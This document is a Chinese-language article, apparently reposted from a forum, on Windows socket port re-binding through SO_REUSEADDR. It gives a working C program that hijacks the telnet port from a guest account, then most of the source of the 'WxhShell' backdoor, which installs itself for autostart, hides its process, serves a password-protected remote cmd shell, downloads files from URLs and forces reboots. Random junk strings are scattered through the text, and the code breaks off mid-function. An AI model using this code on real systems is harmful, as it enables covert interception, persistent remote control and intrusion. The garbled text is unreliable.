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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Qz@IK:B} s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S9G+#[.| ~+N76BX saddr.sin_family = AF_INET; *;hY.EuoFz (*6m^ saddr.sin_addr.s_addr = htonl(INADDR_ANY); p^1zIC>F 7v_i>_m] bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); JiFA]M`^Q S\e&?Y` 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 qKdS7SoS :zdEq")v 这意味着什么?意味着可以进行如下的攻击: 2W^B{ZS; u5w&X8x 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 jzs.+dAg =&A!C"qK4[ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :)#hrFp w66v\x~ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u8YB)kG 7tSJniB 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 MpOR Gd ~|r~NO
7[ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }*
QO]_U? Eh\ 1O(a( 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Al7<s U4>O\sU 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [o2w1R\H+x "h=6Q+Ze #include UJz#QkAio #include TE^7P0bh #include -2F@~m| #include hv*>%p DWORD WINAPI ClientThread(LPVOID lpParam); g(aZT#i i= int main() QsiJ%O Q { Q}kfM^i WORD wVersionRequested; P+<BOG|m DWORD ret; ^P`NMSw WSADATA wsaData; wV\%R,bZj BOOL val; egm)a
SOCKADDR_IN saddr; P|e`^Frxt SOCKADDR_IN scaddr; A1^Ga5 B> int err; VFv9Q2/. SOCKET s; M`GP^Ta SOCKET sc; ?c!:81+\ int caddsize; Dv&>*0B HANDLE mt; qM%O DWORD tid; F4Zn5&.) wVersionRequested = MAKEWORD( 2, 2 ); i+f7 err = WSAStartup( wVersionRequested, &wsaData ); b~7Jh:%@; if ( err != 0 ) { 1Cm~X$S. printf("error!WSAStartup failed!\n"); %*lp< D return -1; Q1Ux!$_ } E&*:
jDg saddr.sin_family = AF_INET; C+w__gO&r Z@3l%p6V //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !
ja[4. V vu(`9u] saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8j%'9vPi saddr.sin_port = htons(23); <FY&h# if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x(8n
9Q> { !z"Nv1!~| printf("error!socket failed!\n"); ?"6Ov ] return -1; ) Qq'Wp3i } W>B^S val = TRUE; 2i\Q@h //SO_REUSEADDR选项就是可以实现端口重绑定的 17}$=#SX if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) V/PAi.GZ
{ =SAV| printf("error!setsockopt failed!\n"); dpwD8Q<
U return -1; \m4T3fy } Cq>6rn //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
mOP4z' //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 z{:-!oF&CB //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 f~=r*&U f1mHN7hxW if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !VwmPAMr#v { y4@gGC= ret=GetLastError(); Yi(1^'Bi printf("error!bind failed!\n"); t9FDU return -1; k[\a)WcY8 } o#>a 5 listen(s,2); B**Nn!}0 while(1) 5 L/x-i { /.R<,/gj
caddsize = sizeof(scaddr); X\Y}oa."A //接受连接请求 F8<"AI sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); G2`${aMS if(sc!=INVALID_SOCKET) _qn?2u3mnR { \M{[f=6llh mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Fj1NN if(mt==NULL)
?CP2AK { NjX[;e-u printf("Thread Creat Failed!\n"); a?F!,=F break; PU1,DU } oFCgu{\kt }
_X4!xbP CloseHandle(mt); {$d <1y^ } y6-XHeU closesocket(s); X32C}4-B WSACleanup(); gl{B=NN return 0; {tw+#}T a } u%3i0BajY DWORD WINAPI ClientThread(LPVOID lpParam) 5\bJR0I@ { ^C/ SOCKET ss = (SOCKET)lpParam; ]kD"&&HV SOCKET sc; jVO{$j unsigned char buf[4096]; dRW$T5dac SOCKADDR_IN saddr; nv0#~UgE#a long num; l30Y8t~d DWORD val; Qd]we$G DWORD ret;
UMU2^$\iS //如果是隐藏端口应用的话,可以在此处加一些判断 :ofBzTNwZ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ?A?F.n` saddr.sin_family = AF_INET; =Mj0:rW saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =dZHYO^Cv saddr.sin_port = htons(23); D3D}DaEYj if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =wVJ% { &xXEnV printf("error!socket failed!\n"); *nC(-(r:J` return -1; zF`3gl. } rf.`h{!! val = 100; 8)L*AdDAW! if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /@"Y^ { :"Y*<=x#2 ret = GetLastError(); I|9
SiZ0 return -1; 7B7&9<gc } w(9*7p p if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ",yc0 2< { `JB?c ret = GetLastError(); q_V0+qH return -1; PLX>-7@ } Cr C=A=e if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) dY(;]sxFr { Qkcjr]#^$ printf("error!socket connect failed!\n"); ) ;FS7R
closesocket(sc); ]p7jhd= closesocket(ss); T/pqSmVpM return -1; ^v&D;<&R } 5]5 KB; while(1) =Yz'D|=t { K/L;8a //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 t `kui. //如果是嗅探内容的话,可以再此处进行内容分析和记录 g%nl!dgS //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $pyOn2} num = recv(ss,buf,4096,0); [P~hjmJ(y if(num>0) OsqNB'X send(sc,buf,num,0); ]QVNn?PA8 else if(num==0) U75Jp%bL break; ]bZ(HC?KZr num = recv(sc,buf,4096,0); rHjq1-t if(num>0) FAsFjRS send(ss,buf,num,0); -VxDNT}Tr else if(num==0) gw36Ec<M break; >w+HHs/$wK } wE]K~y!` closesocket(ss); q1?&Ev^ closesocket(sc); s{0aBeq return 0 ; 8NBT|N~N } X5LBEOG n_?tN\M 3"N)xO- ========================================================== \xv;sl$f 4_A0rveP 下边附上一个代码,,WXhSHELL w[tmCn+ }e2VY
========================================================== H@bf'guA|B nKa$1RMO #include "stdafx.h" 2*w0t:Yxe Dre2J<QL #include <stdio.h> z2_6??tS/c #include <string.h> $5x ,6[& #include <windows.h> eI45PMP #include <winsock2.h> rf~Y6U?7 #include <winsvc.h> 8N&+7FK #include <urlmon.h> FMA6_fju4 zk-.u}RBFG #pragma comment (lib, "Ws2_32.lib") w| `h[/, #pragma comment (lib, "urlmon.lib") js iSg/ WHXj8*]6 #define MAX_USER 100 // 最大客户端连接数 SZaS;hhhHu #define BUF_SOCK 200 // sock buffer [S5\#=_4S #define KEY_BUFF 255 // 输入 buffer ljTBvU >zAUW[]C:I #define REBOOT 0 // 重启 86]p#n_>Fv #define SHUTDOWN 1 // 关机 g0R~&AN!g ktIi$v #define DEF_PORT 5000 // 监听端口 *g?Po+ef% 7X@mSXis #define REG_LEN 16 // 注册表键长度 ~t9tnLc$ #define SVC_LEN 80 // NT服务名长度 8>hwK )av }\J2?Et{ // 从dll定义API P3$Q&^? typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O nQdq^UB typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .7K7h^*F typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `]Q:-h typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V"c
6Kdtd =[b)1FUp // wxhshell配置信息 y;_% W struct WSCFG { !*RqCS, int ws_port; // 监听端口 DL$@?.?I char ws_passstr[REG_LEN]; // 口令 -py@DzK int ws_autoins; // 安装标记, 1=yes 0=no FEVEp char ws_regname[REG_LEN]; // 注册表键名 PDs@?nz, char ws_svcname[REG_LEN]; // 服务名 $Y69@s %f char ws_svcdisp[SVC_LEN]; // 服务显示名 (L^]Lk
x) char ws_svcdesc[SVC_LEN]; // 服务描述信息 AGLscf. char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [w%
qV 6 int ws_downexe; // 下载执行标记, 1=yes 0=no eek7=Z char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" *G*
k6.9W! char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !1e6Ss :q#Xq;Wp }; :Nofp& phM>.y_ // default Wxhshell configuration |*}4 m'c struct WSCFG wscfg={DEF_PORT, 15o9 . "xuhuanlingzhe", 0PlO(",a 1, w!fE;H8w6 "Wxhshell", /!c${W!sY "Wxhshell", j4qJ.i "WxhShell Service", %Dwk "Wrsky Windows CmdShell Service", w.[ "p9tc "Please Input Your Password: ", ;q*e=[_DF 1, M5 <@~V/[ " http://www.wrsky.com/wxhshell.exe", @Y1s$,=xB "Wxhshell.exe" 8F'x=lIO }; #Y$hNQQ$F ?Y@N`S // 消息定义模块 z CvKDlL char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zux{S;:? char *msg_ws_prompt="\n\r? for help\n\r#>"; iyg*Xbmi~. char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; %}%Qc6.H char *msg_ws_ext="\n\rExit."; Z]B~{!W1 char *msg_ws_end="\n\rQuit."; |UX(+;n
char *msg_ws_boot="\n\rReboot..."; ]*AR,0N& char *msg_ws_poff="\n\rShutdown..."; {WYX~Mvvj char *msg_ws_down="\n\rSave to "; ZpnxecJUJ Y'8?.a]' char *msg_ws_err="\n\rErr!"; "1%5, char *msg_ws_ok="\n\rOK!"; EM[WK+9>I{ DQr Y*nH char ExeFile[MAX_PATH]; RJd(~1 int nUser = 0; Ymg|4%O@ HANDLE handles[MAX_USER]; )c)vTZy int OsIsNt; s,]z[qB#$ zx)z/1 SERVICE_STATUS serviceStatus; +mn,F}; SERVICE_STATUS_HANDLE hServiceStatusHandle; Le\?+h42> PpAu!2lt9 // 函数声明 "vOwd.(?N int Install(void); d~i+
I5 int Uninstall(void); NfjE` int DownloadFile(char *sURL, SOCKET wsh); !6*"( int Boot(int flag); S[J}UpV void HideProc(void); s+<Yg$) int GetOsVer(void); i%0ur}p int Wxhshell(SOCKET wsl); EwvoQ$#jv void TalkWithClient(void *cs); g\&g N int CmdShell(SOCKET sock); K1M%!JKh)x int StartFromService(void); AJF#Aw `o int StartWxhshell(LPSTR lpCmdLine); 2Eu`u!jhx uC(V VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0"f\@8r( VOID WINAPI NTServiceHandler( DWORD fdwControl ); G;l_|8<t#\ .oeX"6K // 数据结构和表定义 x8V('` }j SERVICE_TABLE_ENTRY DispatchTable[] = kZmpu?P { l4uMG]m {wscfg.ws_svcname, NTServiceMain}, NgP&.39U {NULL, NULL} 2QyV%wz }; ` 2V19s] oYm[V<nIl // 自我安装 nH[yJGZYSA int Install(void) Wa{` VS { @eKec1< char svExeFile[MAX_PATH]; ddJe=PUb HKEY key; !
t?iXZ strcpy(svExeFile,ExeFile); :%,:" J;8IY= // 如果是win9x系统,修改注册表设为自启动 j}.\]$J if(!OsIsNt) {
CDK5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !xo{-@@wS RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fof TP1 RegCloseKey(key); rrik,qyv6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ] Zy5%gI RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s;01u_ RegCloseKey(key); r{L>
F]Tw return 0; >I-RGW'A } *Doa*wQ } jtW!"TOY } S.-TOE else { Y[}>CYO #W4dkCd(pF // 如果是NT以上系统,安装为系统服务 K;?m';z0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w"-Lc4t+ if (schSCManager!=0) Bg x'9p/ { \Je0CD=e` SC_HANDLE schService = CreateService 3q\,$*D. ( Krqtf schSCManager, .6+Z^,3 wscfg.ws_svcname, QI'Oz{vE wscfg.ws_svcdisp, "K6&dk jY SERVICE_ALL_ACCESS, iTgt}]L SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OR~8sU SERVICE_AUTO_START, <lx+/o SERVICE_ERROR_NORMAL, 4%>$-($ svExeFile, s(/;U2"e NULL, }v}P
.P NULL, R;&AijS8 NULL, ^
*k?pJ5 NULL, jFL #s&ft NULL !Qu"BF ); 9PXFRxGA if (schService!=0) N8F~8lTi { IP xiV]c CloseServiceHandle(schService); r*2+xDoEi CloseServiceHandle(schSCManager); )rxX+k+b/ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I9_RlAd strcat(svExeFile,wscfg.ws_svcname); D#cyOrzy if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RzE_K'M RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lb4Pcdj RegCloseKey(key); ~=M7 3U# return 0; +hg3I8q: } . qO@Q = } 2_HNhW
CloseServiceHandle(schSCManager); B~MU^|v } n8~N$tDU } +"
.X
)avF !Xf5e*1IS return 1; `u3EU*~W } y\4L{GlBM )~)J?l3{ // 自我卸载 f-vCm 5f int Uninstall(void) Dp,L/1GQ8 { 89pEfl j2 HKEY key; %g{X ?
4":KoS`,j if(!OsIsNt) { 4gI/!,J(b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #L=x%8B RegDeleteValue(key,wscfg.ws_regname); +%yfcyZ. RegCloseKey(key); x kx^%3dV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !;q&NHco RegDeleteValue(key,wscfg.ws_regname); Xv ]W(f1 RegCloseKey(key); X5zDpi|Dq return 0; +rd|A|hRq } vyNxT* ,[K } sBj(Qd } _hAcJ{Y else { 5d Eh7XL SYAyk SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [kVS
O if (schSCManager!=0) a!6{:8Zi0 { deBY5| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q/4J.jL if (schService!=0) 9UdM`v)( { rK' L6o if(DeleteService(schService)!=0) { =upeRY@u5 CloseServiceHandle(schService); !Q2d(H>
CloseServiceHandle(schSCManager); XRM_x:+] return 0; $v4.sl:x } JFcLv=U CloseServiceHandle(schService); RIWxs Zt } ugdQAg CloseServiceHandle(schSCManager); vOn`/5- } tU }h~&M } @K &GJ B3pCy~*5 return 1; Si2k"<5U } @>r._~ >c1qpk/ // 从指定url下载文件 >K_(J/&p int DownloadFile(char *sURL, SOCKET wsh) [_R~%Yh+'E { ,k +IPkN+ HRESULT hr; !,wIQy_e4 char seps[]= "/"; o5Dk:Bw char *token; Qf~vZtJ+J char *file; ~Z\8UsVN char myURL[MAX_PATH]; ^cOUQ33 char myFILE[MAX_PATH];
sJB;3"~ B]nEkO'a: strcpy(myURL,sURL); Y071Y: token=strtok(myURL,seps); : %lTU while(token!=NULL) }MJy
+Z8& { Jj; L3S file=token; py$Q token=strtok(NULL,seps); ~qiJR`Jj } }*M6x;t dN$0OS`s[ GetCurrentDirectory(MAX_PATH,myFILE); e>} s;H, strcat(myFILE, "\\"); J{.{f strcat(myFILE, file); 0.`/X66;V send(wsh,myFILE,strlen(myFILE),0); so,t send(wsh,"...",3,0); NO*u9YH? hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ((YMVe if(hr==S_OK) v [wb~uw\ return 0; :}He\V else 7x"R3 return 1; +SP{hHa^ |XaIx#n } C.WX.Je ~Otq %MQ // 系统电源模块 #{\J
Nb+w% int Boot(int flag) VACQ+ { &|s0P HANDLE hToken; R6` WN TOKEN_PRIVILEGES tkp; iOd&BB6 }~YA5^VQ$ if(OsIsNt) { N H[kNi' OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lEH65;Nh* LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _F6OM5F"N tkp.PrivilegeCount = 1; :i0uPh\0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !EvAB+`jLI AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !y\'EW3|G if(flag==REBOOT) { XQY#716) if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8r*E-akuyr return 0; cXA
i k- } %^?fMeI|Y else { Y@;CF if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &C`Gg< return 0; E(*0jAvO[z } wg9t)1k{e } *D'22TO[[! else { 9&$y}Y if(flag==REBOOT) {
-WY<zJ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cVXLKO return 0; 0eT(J7[ < } LoURC$lS else { !O\82d1P if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vDp8__^ return 0; G"r1+# } JgxtlYjl } dH;8mb|#' K?6jXJseb return 1; {kA0z2Fe } iW)8j 8 n4O]8C'lW9 // win9x进程隐藏模块 y%&q/tk void HideProc(void) S8kCp; { bHY=x}Hv 5VfyU8)7X HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +KF^Z$I if ( hKernel != NULL ) Q7HRzA^- { Sgeh %f pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i[O& )N,c ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'K$[^V FreeLibrary(hKernel); B al`y } r )Ma3FL0; |-fgj' return; /fKx}}g) } >Rl" *l"T$H // 获取操作系统版本 E@z<:pG{ int GetOsVer(void) &yct!YOB2 { _?-E7:Sw OSVERSIONINFO winfo; j@AIK+0Qc winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5GI,o|[s6 GetVersionEx(&winfo); oK9( /v if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >
$O]Eu! return 1; Z-$[\le else TYy?KG>:' return 0; eVEV}`X } 4n#M 3$9s\<j // 客户端句柄模块 O\
GEay2
int Wxhshell(SOCKET wsl) l3{-z4mw { ?U%qPv: SOCKET wsh; >1.X*gi?- struct sockaddr_in client; 8Q.T g. DWORD myID; #oS<E1 ;(b9#b. while(nUser<MAX_USER) U#0Q) { ^a/gBC82x int nSize=sizeof(client); J-[,KME_^ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l?E{YQq] if(wsh==INVALID_SOCKET) return 1; H[NSqu.s 7!evm;A handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ntu5{L'8 if(handles[nUser]==0) C>ICu*PW closesocket(wsh); ~Z -Vs else j:Xq1f6a nUser++; Ja|5 @ } ;"xfOzQ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \Q {m9fE _jvxc'6 return 0; A9[ F } R#s)r E7WK
( // 关闭 socket n"h`5p5' void CloseIt(SOCKET wsh) ]>W6
bTK { C+*d8_L closesocket(wsh); To\QjP- nUser--; OstQqV%@ ExitThread(0); GiJ *Wp } Ozw.siD O+nEXS\rQ // 客户端请求句柄 jkQ*D(;p void TalkWithClient(void *cs) t^UxR@l<K| { ud63f`W]4 JL`-0P<M SOCKET wsh=(SOCKET)cs; pD8+ 4;A char pwd[SVC_LEN]; ~jWn4
\ char cmd[KEY_BUFF]; @CNi{. RX char chr[1]; \J4L:.`qS int i,j; t DO=P
c pg6cF while (nUser < MAX_USER) { S~<$Hy*kh aJSO4W)P if(wscfg.ws_passstr) { cA&9e< if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L s
G\OG //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ij 79~pn //ZeroMemory(pwd,KEY_BUFF); rExnxQ<e i=0; -fM1nH& while(i<SVC_LEN) { b\ X@gq
~b(i&DVK // 设置超时 @tF\p
fd_set FdRead; \|n-
O=}=2 struct timeval TimeOut; 8mCxn@yV FD_ZERO(&FdRead); EHSlK5bD, FD_SET(wsh,&FdRead); OP;v bZ TimeOut.tv_sec=8; O5!7'RZ TimeOut.tv_usec=0; Cw~q4A6' int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pXtl
6K% if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^Xz@`_I ?#Ge.D~u if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x" 7H5< pwd =chr[0]; |a8iZ9/D6 if(chr[0]==0xd || chr[0]==0xa) { B=U 3
pwd=0; bAdn & break; ov|d^)' } {5A2& i++; J.3u^~zy } <3L5"77G6 Dxtp2wu%t // 如果是非法用户,关闭 socket S};#+ufgTt if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SbcS]H5Sk } .[YuRLGz ]GUvV&6@( send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D,FHZDt send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [.K1iZyTi X
enE^e+9 while(1) { u]:oZMnj a a<8,; ZeroMemory(cmd,KEY_BUFF); 0`Kj25 )z>|4@, // 自动支持客户端 telnet标准 Qo>b*Ku; j=0; @<,X0S while(j<KEY_BUFF) { -6Z\qxKqZ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $5>e cmd[j]=chr[0]; },uF4M.K if(chr[0]==0xa || chr[0]==0xd) { +20G>y=+ cmd[j]=0; RXNn[A4xfY break; fAF1"4f } 1v#%Ei$6`t j++; 7 G)ZN{' } Cwr~HY ^0Zf,40 // 下载文件 {M3qLf~z#C if(strstr(cmd,"http://")) { K~uXO send(wsh,msg_ws_down,strlen(msg_ws_down),0); !H#bJTXB if(DownloadFile(cmd,wsh)) O3;u G.:1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ky8_UnaO else ht|z<XJ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T=<@]$? } '-QwssE else { 02Y]`CXj ~Cbc<[} switch(cmd[0]) { AJt+p&I[J `K*Q5n // 帮助 Qd)q([ case '?': { >u>5{4 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JELTo u break;
>/{@C } 9K.Vb1& // 安装 &]V.S7LC# case 'i': { 7Sf
bx~48 if(Install()) H[m:0eF'5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2uzW+D6J else j~"Q3P;V send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'SO %)B break; :8I9\eet3 } 9FoHD // 卸载 vGvf<ra;H case 'r': { ^/)^7\@ if(Uninstall()) j
>Ht @Wi send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hfv 7LM else yUeCc"Vf send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ()2I# break; 4hO!\5-w: } V08?-Iz$ // 显示 wxhshell 所在路径 gK_Ymq5>"M case 'p': { ,%6P0#- char svExeFile[MAX_PATH]; C7XxFh strcpy(svExeFile,"\n\r"); EH$1fvE strcat(svExeFile,ExeFile); tW.9yII send(wsh,svExeFile,strlen(svExeFile),0); 26e]`]!SU break; i=ea
?eT` } H=@}=aPf // 重启 [I0:=yJ+ case 'b': { C'G/AU send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6RG)`bu if(Boot(REBOOT)) iyA'#bE- send(wsh,msg_ws_err,strlen(msg_ws_err),0); VQ"hUX8 else { 8H;t_B closesocket(wsh); ?TM,Q ExitThread(0); XQ#;Zs/l } P !AEf#1 break; 3("_Z% } W~6EEyD% // 关机 f}aL-N~ case 'd': { O80<Z#%j` send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @>u]4Jn if(Boot(SHUTDOWN)) \@WDV send(wsh,msg_ws_err,strlen(msg_ws_err),0); l2`s! ,<>O else { r/4``shg closesocket(wsh); [V^WGW2oY ExitThread(0); |"?M 1*g } FI[A[*fi break; 3Q"<<pi!~ } lun#^ J // 获取shell 1uG"f<TsR case 's': { +GG9^:<yr CmdShell(wsh); ;>#wU' closesocket(wsh); <
nXL ExitThread(0); ht7l- AK break; 00'%EYO } :X0k]p // 退出 %WSo b@f8 case 'x': { V\t.3vT send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BD68$y CloseIt(wsh); @"hb) 8ng break; nePfuG]Q } 5*E]ETo@R // 离开 uvMy^_}L case 'q': { .GV;+8HzS send(wsh,msg_ws_end,strlen(msg_ws_end),0); zepm!JR1 closesocket(wsh); x%}^hiO<q WSACleanup(); ,">]`|? exit(1);
7_%"BVb" break; RzxNbeki[W } ;P;-}u } 7/!8e.M\ } a,xycX:U ks"|}9\%< // 提示信息 S-Wz our, if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %kv0Wefs } R,gR;Aarw } $RYa6"` Q(@U2a8 return; 3cFf#a # } AZ0;3<FfLp H+1-] 'g` // shell模块句柄 L\Aq6q@c int CmdShell(SOCKET sock) 9`wZz~hL" { <nE>XAI_7 STARTUPINFO si; `q?8A3A ZeroMemory(&si,sizeof(si)); BZ:H`M`n si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H#NCi~M>3 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %4ePc- PROCESS_INFORMATION ProcessInfo; gMY1ts}Z char cmdline[]="cmd"; Lilr0|U+ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l%[EXZ return 0; ?6yjy<D)$e } z,Medw6[ Xp >7iX!: // 自身启动模式 u&`XB|~ int StartFromService(void) >CrA;\l { <<@bl@9' typedef struct 5Eg1Q
YVt { 1|RANy DWORD ExitStatus; ,#Iu
7di DWORD PebBaseAddress; EwuO&q
DWORD AffinityMask; >XK
